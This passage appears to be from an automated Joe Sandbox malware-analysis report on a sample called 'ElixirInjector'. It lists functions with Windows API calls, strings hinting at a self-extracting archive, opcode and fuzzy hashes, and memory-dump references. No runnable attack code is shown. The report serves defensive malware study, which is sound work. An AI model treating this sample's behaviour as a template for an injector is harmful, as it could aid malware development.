                                                                                              • Associated: 00000000.00000002.2185820340.0000000000F43000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F4E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F55000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F72000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185906055.0000000000F73000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_0_2_f10000_ElixirInjector.jbxd
                                                                                              Similarity
                                                                                              • API ID: ByteCharMultiWide__fprintf_l_strncpy
                                                                                              • String ID: $%s$@%s
                                                                                              • API String ID: 562999700-834177443
                                                                                              • Opcode ID: d536f87a28c0342bd77cf7f1db6e802b3a98e93c9228326802642c0090aedfd8
                                                                                              • Instruction ID: 85d74a71aa818e2604a991c7a22fca7bc24a42005cb97f3d180ba9207ab94aa0
                                                                                              • Opcode Fuzzy Hash: d536f87a28c0342bd77cf7f1db6e802b3a98e93c9228326802642c0090aedfd8
                                                                                              • Instruction Fuzzy Hash: 3921A23284024CAEDB21EEA4CD01FDE7BB8AF05710F444122FD10961A2E775D698EB52
                                                                                              Function 00F20E46 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 63COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • InitializeCriticalSection.KERNEL32(00000320,00000000,?,?,?,00F1AC5A,00000008,?,00000000,?,00F1D22D,?,00000000), ref: 00F20E85
                                                                                              • CreateSemaphoreW.KERNEL32(00000000,00000000,00000040,00000000,?,?,?,00F1AC5A,00000008,?,00000000,?,00F1D22D,?,00000000), ref: 00F20E8F
                                                                                              • CreateEventW.KERNEL32(00000000,00000001,00000001,00000000,?,?,?,00F1AC5A,00000008,?,00000000,?,00F1D22D,?,00000000), ref: 00F20E9F
                                                                                              Strings
                                                                                              • Thread pool initialization failed., xrefs: 00F20EB7
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000000.00000002.2185791998.0000000000F11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true
                                                                                              • Associated: 00000000.00000002.2185776696.0000000000F10000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185820340.0000000000F43000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F4E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F55000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F72000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185906055.0000000000F73000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_0_2_f10000_ElixirInjector.jbxd
                                                                                              Similarity
                                                                                              • API ID: Create$CriticalEventInitializeSectionSemaphore
                                                                                              • String ID: Thread pool initialization failed.
                                                                                              • API String ID: 3340455307-2182114853
                                                                                              • Opcode ID: e707cd9a086a2de2e2c6e22f1bdedf712fc85ce7b0eab6910c779dc874cbb753
                                                                                              • Instruction ID: 45c23fd67370e7e00c0608d39822d1113abeaddbcbcea5b53bf16f0e9ffb0e50
                                                                                              • Opcode Fuzzy Hash: e707cd9a086a2de2e2c6e22f1bdedf712fc85ce7b0eab6910c779dc874cbb753
                                                                                              • Instruction Fuzzy Hash: 681194B2A007189FC3215F6AAC84AA7FBECEB65755F11482EF5D6C3201DA715980AB50
                                                                                              Function 00F2B270 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 62COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                                • Part of subcall function 00F11316: GetDlgItem.USER32(00000000,00003021), ref: 00F1135A
                                                                                                • Part of subcall function 00F11316: SetWindowTextW.USER32(00000000,00F435F4), ref: 00F11370
                                                                                              • EndDialog.USER32(?,00000001), ref: 00F2B2BE
                                                                                              • GetDlgItemTextW.USER32(?,00000066,?,00000080), ref: 00F2B2D6
                                                                                              • SetDlgItemTextW.USER32(?,00000067,?), ref: 00F2B304
                                                                                              Strings
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000000.00000002.2185791998.0000000000F11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true
                                                                                              • Associated: 00000000.00000002.2185776696.0000000000F10000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185820340.0000000000F43000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F4E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F55000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F72000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185906055.0000000000F73000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_0_2_f10000_ElixirInjector.jbxd
                                                                                              Similarity
                                                                                              • API ID: ItemText$DialogWindow
                                                                                              • String ID: GETPASSWORD1
                                                                                              • API String ID: 445417207-3292211884
                                                                                              • Opcode ID: 2157b10a88f50ce236df4f8713fd172ff9d092889d41a46160719206823f74a9
                                                                                              • Instruction ID: f54f595b79d5167baaa6e981c9922dd8d05b380db50d5be42b0990ed04578bab
                                                                                              • Opcode Fuzzy Hash: 2157b10a88f50ce236df4f8713fd172ff9d092889d41a46160719206823f74a9
                                                                                              • Instruction Fuzzy Hash: 7811C432D00229B6DB229E64AC49FFF376CEF59710F000420FE45B20C0C7A59E85B7A2
                                                                                              Function 00F2DCDD Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 46COMMON
                                                                                              Download Yara Rule
                                                                                              Strings
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000000.00000002.2185791998.0000000000F11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true
                                                                                              • Associated: 00000000.00000002.2185776696.0000000000F10000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185820340.0000000000F43000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F4E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F55000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F72000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185906055.0000000000F73000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_0_2_f10000_ElixirInjector.jbxd
                                                                                              Similarity
                                                                                              • API ID:
                                                                                              • String ID: RENAMEDLG$REPLACEFILEDLG
                                                                                              • API String ID: 0-56093855
                                                                                              • Opcode ID: 576fb50eccb52df3a9b3554eb7794c151f31edc1056956123c37c9b867eddf76
                                                                                              • Instruction ID: 15d1b2a5f2b487c99a73009f891947692acccb16a6c425cd6af60ebb81484ec2
                                                                                              • Opcode Fuzzy Hash: 576fb50eccb52df3a9b3554eb7794c151f31edc1056956123c37c9b867eddf76
                                                                                              • Instruction Fuzzy Hash: EF01B13AA0436DAFCB108F54FC44A6B3FA8F7083A5B000425FA0593271C6319850FBE1
                                                                                              Function 00F2DBDE Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 31COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • SetEnvironmentVariableW.KERNEL32(sfxcmd,?), ref: 00F2DBF4
                                                                                              • SetEnvironmentVariableW.KERNEL32(sfxpar,-00000002,00000000,?,?,?,00001000), ref: 00F2DC30
                                                                                              Strings
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000000.00000002.2185791998.0000000000F11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true
                                                                                              • Associated: 00000000.00000002.2185776696.0000000000F10000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185820340.0000000000F43000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F4E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F55000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F72000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185906055.0000000000F73000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_0_2_f10000_ElixirInjector.jbxd
                                                                                              Similarity
                                                                                              • API ID: EnvironmentVariable
                                                                                              • String ID: sfxcmd$sfxpar
                                                                                              • API String ID: 1431749950-3493335439
                                                                                              • Opcode ID: b83d16215a65cd7b4ac8305bc19e6e0fac0674521100619b97ab21b68a654277
                                                                                              • Instruction ID: 9919b161eecd4994c387e258209f4facef4727950218bf86e88e64e8bc6b24dc
                                                                                              • Opcode Fuzzy Hash: b83d16215a65cd7b4ac8305bc19e6e0fac0674521100619b97ab21b68a654277
                                                                                              • Instruction Fuzzy Hash: FBF0EC7384423867DB203FD4AC06FFA3B5CAF15B91B040411BD8595152D6B4C940F6B1
                                                                                              Function 00F39A1E Relevance: 6.3, APIs: 4, Instructions: 305COMMONLIBRARYCODE
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000000.00000002.2185791998.0000000000F11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true
                                                                                              • Associated: 00000000.00000002.2185776696.0000000000F10000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185820340.0000000000F43000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F4E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F55000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F72000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185906055.0000000000F73000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_0_2_f10000_ElixirInjector.jbxd
                                                                                              Similarity
                                                                                              • API ID: __alldvrm$_strrchr
                                                                                              • String ID:
                                                                                              • API String ID: 1036877536-0
                                                                                              • Opcode ID: 3257cbe3c23a9893bcf4e13c0b157f0aff40f0c1a093e58d5470b9d1dc85e048
                                                                                              • Instruction ID: 64faab813b1fe88c44fa7318a07f5f9f804d782d124d24d11bc481db1e094bc8
                                                                                              • Opcode Fuzzy Hash: 3257cbe3c23a9893bcf4e13c0b157f0aff40f0c1a093e58d5470b9d1dc85e048
                                                                                              • Instruction Fuzzy Hash: FAA12572E082869FEB21CF28C8917AEBBE5EF55370F24416DE4859B381C2F88D41E750
                                                                                              Function 00F1A354 Relevance: 6.1, APIs: 4, Instructions: 127filetimeCOMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • CreateFileW.KERNEL32(?,40000000,00000003,00000000,00000003,02000000,00000000,?,?,?,00000800,?,00F17F69,?,?,?), ref: 00F1A3FA
                                                                                              • CreateFileW.KERNEL32(?,40000000,00000003,00000000,00000003,02000000,00000000,?,?,00000800,?,?,00000800,?,00F17F69,?), ref: 00F1A43E
                                                                                              • SetFileTime.KERNEL32(?,00000800,?,00000000,?,?,00000800,?,00F17F69,?,?,?,?,?,?,?), ref: 00F1A4BF
                                                                                              • CloseHandle.KERNEL32(?,?,?,00000800,?,00F17F69,?,?,?,?,?,?,?,?,?,?), ref: 00F1A4C6
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000000.00000002.2185791998.0000000000F11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true
                                                                                              • Associated: 00000000.00000002.2185776696.0000000000F10000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185820340.0000000000F43000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F4E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F55000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F72000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185906055.0000000000F73000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_0_2_f10000_ElixirInjector.jbxd
                                                                                              Similarity
                                                                                              • API ID: File$Create$CloseHandleTime
                                                                                              • String ID:
                                                                                              • API String ID: 2287278272-0
                                                                                              • Opcode ID: 80fc5eb84da72ee5c0a273b3f930a692ba36c1385d07bd8a8a30d08a5a894107
                                                                                              • Instruction ID: 30183727d6b9fd3fb3177e26496e39fd9317755c62a06eba87b70fedefc5a52f
                                                                                              • Opcode Fuzzy Hash: 80fc5eb84da72ee5c0a273b3f930a692ba36c1385d07bd8a8a30d08a5a894107
                                                                                              • Instruction Fuzzy Hash: 0141E0316493819AD731DF24DC45FEEBBE4AB91310F04091DF5E093190D6A99A88FB53
                                                                                              Function 00F11100 Relevance: 6.1, APIs: 4, Instructions: 119COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000000.00000002.2185791998.0000000000F11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true
                                                                                              • Associated: 00000000.00000002.2185776696.0000000000F10000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185820340.0000000000F43000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F4E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F55000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F72000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185906055.0000000000F73000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_0_2_f10000_ElixirInjector.jbxd
                                                                                              Similarity
                                                                                              • API ID: _wcslen
                                                                                              • String ID:
                                                                                              • API String ID: 176396367-0
                                                                                              • Opcode ID: 23c540b881771a114405b0dc722be0eddafda16ed1788b92f1b297e7f1bf4574
                                                                                              • Instruction ID: 5ddce4928487e74fbf0460721c82569649f6996fdbfccbb2dc0695f0e22f1214
                                                                                              • Opcode Fuzzy Hash: 23c540b881771a114405b0dc722be0eddafda16ed1788b92f1b297e7f1bf4574
                                                                                              • Instruction Fuzzy Hash: AF41A471D006699BCB219F68CC499EE7BB8EF01320F000029FE45F7245DF34AE999BA5
                                                                                              Function 00F3C988 Relevance: 6.1, APIs: 4, Instructions: 110COMMONLIBRARYCODE
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • MultiByteToWideChar.KERNEL32(?,00000000,2DE85006,00F347C6,00000000,00000000,00F357FB,?,00F357FB,?,00000001,00F347C6,2DE85006,00000001,00F357FB,00F357FB), ref: 00F3C9D5
                                                                                              • MultiByteToWideChar.KERNEL32(?,00000001,?,?,00000000,?), ref: 00F3CA5E
                                                                                              • GetStringTypeW.KERNEL32(?,00000000,00000000,?), ref: 00F3CA70
                                                                                              • __freea.LIBCMT ref: 00F3CA79
                                                                                                • Part of subcall function 00F38E06: RtlAllocateHeap.NTDLL(00000000,?,?,?,00F34286,?,0000015D,?,?,?,?,00F35762,000000FF,00000000,?,?), ref: 00F38E38
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000000.00000002.2185791998.0000000000F11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true
                                                                                              • Associated: 00000000.00000002.2185776696.0000000000F10000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185820340.0000000000F43000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F4E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F55000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F72000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185906055.0000000000F73000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_0_2_f10000_ElixirInjector.jbxd
                                                                                              Similarity
                                                                                              • API ID: ByteCharMultiWide$AllocateHeapStringType__freea
                                                                                              • String ID:
                                                                                              • API String ID: 2652629310-0
                                                                                              • Opcode ID: d6c4aaa311805ee37b7172e1f820090209957ca9a27ab85ca0fa4b370d7a7572
                                                                                              • Instruction ID: 108d0d959f04849a5e9654cda57a2fe7dae1cb857cd9b3e84ea2186792b8fc30
                                                                                              • Opcode Fuzzy Hash: d6c4aaa311805ee37b7172e1f820090209957ca9a27ab85ca0fa4b370d7a7572
                                                                                              • Instruction Fuzzy Hash: 3331B072A0021AABDF24DF65DC51EAE7BA5EB41320F044268FC14E6250E739DD50EBD0
                                                                                              Function 00F2A663 Relevance: 6.0, APIs: 4, Instructions: 19COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • GetDC.USER32(00000000), ref: 00F2A666
                                                                                              • GetDeviceCaps.GDI32(00000000,00000058), ref: 00F2A675
                                                                                              • GetDeviceCaps.GDI32(00000000,0000005A), ref: 00F2A683
                                                                                              • ReleaseDC.USER32(00000000,00000000), ref: 00F2A691
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000000.00000002.2185791998.0000000000F11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true
                                                                                              • Associated: 00000000.00000002.2185776696.0000000000F10000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185820340.0000000000F43000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F4E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F55000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F72000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185906055.0000000000F73000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_0_2_f10000_ElixirInjector.jbxd
                                                                                              Similarity
                                                                                              • API ID: CapsDevice$Release
                                                                                              • String ID:
                                                                                              • API String ID: 1035833867-0
                                                                                              • Opcode ID: f072aef57e1f9158756be9db7f713bb248c9e884b205d988f53a467a8f27450f
                                                                                              • Instruction ID: e77c3a6b5c8432915ce8d51909fa22798819f0bbd2a6e13f6d47683589c8be0e
                                                                                              • Opcode Fuzzy Hash: f072aef57e1f9158756be9db7f713bb248c9e884b205d988f53a467a8f27450f
                                                                                              • Instruction Fuzzy Hash: B4E01231946736F7D7615B60BC0DB8B3E54AB06B97F010101FB09A61D0DF748681BBA2
                                                                                              Function 00F2A80C Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 237COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                                • Part of subcall function 00F2A699: GetDC.USER32(00000000), ref: 00F2A69D
                                                                                                • Part of subcall function 00F2A699: GetDeviceCaps.GDI32(00000000,0000000C), ref: 00F2A6A8
                                                                                                • Part of subcall function 00F2A699: ReleaseDC.USER32(00000000,00000000), ref: 00F2A6B3
                                                                                              • GetObjectW.GDI32(?,00000018,?), ref: 00F2A83C
                                                                                                • Part of subcall function 00F2AAC9: GetDC.USER32(00000000), ref: 00F2AAD2
                                                                                                • Part of subcall function 00F2AAC9: GetObjectW.GDI32(?,00000018,?), ref: 00F2AB01
                                                                                                • Part of subcall function 00F2AAC9: ReleaseDC.USER32(00000000,?), ref: 00F2AB99
                                                                                              Strings
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000000.00000002.2185791998.0000000000F11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true
                                                                                              • Associated: 00000000.00000002.2185776696.0000000000F10000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185820340.0000000000F43000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F4E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F55000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F72000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185906055.0000000000F73000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_0_2_f10000_ElixirInjector.jbxd
                                                                                              Similarity
                                                                                              • API ID: ObjectRelease$CapsDevice
                                                                                              • String ID: (
                                                                                              • API String ID: 1061551593-3887548279
                                                                                              • Opcode ID: 86df3606b35f8d7cf376e05298d80b3b8f8bb0bf9cc2b66505e2890b40768ed7
                                                                                              • Instruction ID: 1ea2dfce43f5bca5daca732a50a6f01e9d089f7cf652f2310f554f5b25287003
                                                                                              • Opcode Fuzzy Hash: 86df3606b35f8d7cf376e05298d80b3b8f8bb0bf9cc2b66505e2890b40768ed7
                                                                                              • Instruction Fuzzy Hash: D191F175608354AFD610DF25D844A2BBBE8FFC9710F00491EF99AD3260DB70A945EF62
                                                                                              Function 00F3B1B8 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 168COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • _free.LIBCMT ref: 00F3B324
                                                                                                • Part of subcall function 00F39097: IsProcessorFeaturePresent.KERNEL32(00000017,00F39086,00000000,00F38D94,00000000,00000000,00000000,00000016,?,?,00F39093,00000000,00000000,00000000,00000000,00000000), ref: 00F39099
                                                                                                • Part of subcall function 00F39097: GetCurrentProcess.KERNEL32(C0000417,00F38D94,00000000,?,00000003,00F39868), ref: 00F390BB
                                                                                                • Part of subcall function 00F39097: TerminateProcess.KERNEL32(00000000,?,00000003,00F39868), ref: 00F390C2
                                                                                              Strings
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000000.00000002.2185791998.0000000000F11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true
                                                                                              • Associated: 00000000.00000002.2185776696.0000000000F10000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185820340.0000000000F43000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F4E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F55000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F72000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185906055.0000000000F73000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_0_2_f10000_ElixirInjector.jbxd
                                                                                              Similarity
                                                                                              • API ID: Process$CurrentFeaturePresentProcessorTerminate_free
                                                                                              • String ID: *?$.
                                                                                              • API String ID: 2667617558-3972193922
                                                                                              • Opcode ID: 871087a43f0bd1cbd1098384f5f5eb82fa4a5fd881eee7424b44ab4bf77dde44
                                                                                              • Instruction ID: f2dbcc77c520085179743a89d8f7c58e5f82550d66b21d390a9f08a890f3c87a
                                                                                              • Opcode Fuzzy Hash: 871087a43f0bd1cbd1098384f5f5eb82fa4a5fd881eee7424b44ab4bf77dde44
                                                                                              • Instruction Fuzzy Hash: F251C172E0021AEFDF15DFA8CC91AAEBBB5EF48320F244169E954E7300E7759E019B50
                                                                                              Function 00F175DE Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 137timeCOMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • __EH_prolog.LIBCMT ref: 00F175E3
                                                                                                • Part of subcall function 00F205DA: _wcslen.LIBCMT ref: 00F205E0
                                                                                                • Part of subcall function 00F1A56D: FindClose.KERNELBASE(00000000,000000FF,?,?), ref: 00F1A598
                                                                                              • SetFileTime.KERNEL32(?,?,?,?,?,00000005,?,00000011,?,?,00000000,?,0000003A,00000802), ref: 00F1777F
                                                                                                • Part of subcall function 00F1A4ED: SetFileAttributesW.KERNELBASE(?,00000000,00000001,?,00F1A325,?,?,?,00F1A175,?,00000001,00000000,?,?), ref: 00F1A501
                                                                                                • Part of subcall function 00F1A4ED: SetFileAttributesW.KERNEL32(?,00000000,?,?,00000800,?,00F1A325,?,?,?,00F1A175,?,00000001,00000000,?,?), ref: 00F1A532
                                                                                              Strings
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000000.00000002.2185791998.0000000000F11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true
                                                                                              • Associated: 00000000.00000002.2185776696.0000000000F10000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185820340.0000000000F43000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F4E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F55000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F72000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185906055.0000000000F73000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_0_2_f10000_ElixirInjector.jbxd
                                                                                              Similarity
                                                                                              • API ID: File$Attributes$CloseFindH_prologTime_wcslen
                                                                                              • String ID: :
                                                                                              • API String ID: 3226429890-336475711
                                                                                              • Opcode ID: da514187068ca90299b12700e5959ce10cea06c304986e1a288583789e9cc3d3
                                                                                              • Instruction ID: e0514e662aa2f362661149e3256c10ca71557d5439fac4fe3b174888ff4a696d
                                                                                              • Opcode Fuzzy Hash: da514187068ca90299b12700e5959ce10cea06c304986e1a288583789e9cc3d3
                                                                                              • Instruction Fuzzy Hash: DC418271805258AAEB25EB64DC55EEEB77DAF41300F004096B609A3092DB785FC9EF71
                                                                                              Function 00F2B48E Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 77COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              Strings
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000000.00000002.2185791998.0000000000F11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true
                                                                                              • Associated: 00000000.00000002.2185776696.0000000000F10000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185820340.0000000000F43000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F4E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F55000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F72000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185906055.0000000000F73000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_0_2_f10000_ElixirInjector.jbxd
                                                                                              Similarity
                                                                                              • API ID: _wcslen
                                                                                              • String ID: }
                                                                                              • API String ID: 176396367-4239843852
                                                                                              • Opcode ID: 773f878f3799a775ad70284db059fc9639eee3441085d2fe47dea656f0f108f8
                                                                                              • Instruction ID: 549a90f22e3087b389b5ae7e1d91622d851ee4c8861e108d58626a4c0cd668db
                                                                                              • Opcode Fuzzy Hash: 773f878f3799a775ad70284db059fc9639eee3441085d2fe47dea656f0f108f8
                                                                                              • Instruction Fuzzy Hash: F921F372D1432A5AD731EA64EC46F6BB3DCDF81770F08042AFA40C7145EB68DD48A3A2
                                                                                              Function 00F1F344 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 67COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                                • Part of subcall function 00F1F2C5: GetProcAddress.KERNEL32(00000000,CryptProtectMemory), ref: 00F1F2E4
